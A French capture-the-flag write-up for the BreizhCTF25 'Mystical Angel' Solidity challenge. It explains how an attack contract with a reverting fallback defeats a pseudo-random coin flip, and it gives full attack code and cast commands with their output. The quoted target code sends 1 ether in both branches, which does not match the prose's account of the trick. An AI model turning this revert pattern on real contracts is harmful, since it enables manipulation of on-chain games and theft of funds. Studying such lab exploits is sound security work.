Featured image of post BreizhCTF25 - Mystical Angel

BreizhCTF25 - Mystical Angel

Write up du challenge Mystical Angel par K.L.M

Mystical Angel - K.L.M

Contrat

Ce contrat est une simulation d’un jeu similaire à un pile ou face avec un ange (?).

Notre but est de remplir la condition “isSolved()”, pour ce faire, nous remarquons que nous devons appeler la fonction :

1
2
3
4
function ascend() public payable {
        require(blessings[msg.sender] >= 10,"You have not proved your worthiness :((");
        solved = true;
    }

Afin d’obtenir 10 blessings, nous nous intéressons à la partie du code suivante:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
function Blessing() public payable {
    require(msg.value == 1 ether, "You must pay the right to get your blessing");
    uint256 randomNumber = uint256(keccak256(abi.encodePacked(seed, msg.sender, block.prevrandao, block.timestamp)));
    uint256 AngelNumber = randomNumber % 2;

    if (AngelNumber == 1) {
        (bool sent, ) = msg.sender.call{value: 1 ether}("");
        require(sent, "Failed to send Ether");
        blessings[msg.sender] += 1;
    }

    if (AngelNumber == 0) {
        (bool sent, ) = msg.sender.call{value: 1 ether}("");
        require(sent, "Failed to send Ether");
        blessings[msg.sender] = 0;
    }
}

Il calcule une valeur “random” dont nous n’avons pas connaissance, puis en fonction de sa valeur, il nous renvoie une transaction contenant 0 ou 1 ether puis nous ajoute un blessing ou nous les retire tous.

Solve

Une manière simple de réussir à obtenir uniquement des bonnes conditions viserait à ne jamais rentrer dans l’instruction : blessings[msg.sender] = 0; et pour ça nous pouvons utiliser une petite astuce : Rejeter tout envoi de fonds qui n’est pas égal à 1 ether.

Mais comment on fait K.L.M ?

Comme ça !

1
2
3
4
5
fallback() payable external{
        if (msg.value != 1 ether){
            revert();
        }
    }

Maintenant on écris un contrat d’attaque (dispo dans le dossier sous le nom attack.sol):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

interface mysticalAngel{
     function Blessing() external payable;
     function ascend() external payable;
}

contract Attack {

    mysticalAngel public angel;

    function setTarget(address _angel) public {
        angel = mysticalAngel(_angel);
    }

    function attack() public payable {
        angel.Blessing{value: 1 ether}();
    }

    function win() public {
        angel.ascend();
    }


    fallback() payable external{
        if (msg.value != 1 ether){
            revert();
        }
    }
}

Maintenant il ne reste plus qu’à le déployer, exporter nos variables d’environnement sous la forme : $ATK = adresse du contrat attack, $TAR = adresse du contrat cible, $PK = clé privée, $RPC = URL du RPC Et à realiser la suite de commande suivante :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
cast send $ATK "setTarget(address)" $TAR -r $RPC --private-key $PK
cast send $ATK "attack()" -r $RPC --private-key $PK --value 1ether # pour envoyer 1 ether au contrat pour pouvoir call la fonction, si ce n'est pas bon, il faut réessayer.

cast b $ATK -r $RPC # par exemple ici ce n'était pas bon.
0

cast send $ATK "attack()" -r $RPC --private-key $PK --value 1ether
cast b $ATK -r $RPC
1000000000000000000 # ça a fonctionné

cast send $ATK "attack()" -r $RPC --private-key $PK # à répeter autant de fois que nécessaire

cast call $TAR "blessings(address)(uint256)" $ATK -r $RPC
13 # supérieur à 10, on est bon !

Win ! On récupère ensuite notre flag sur la plateforme.

Keep Pwning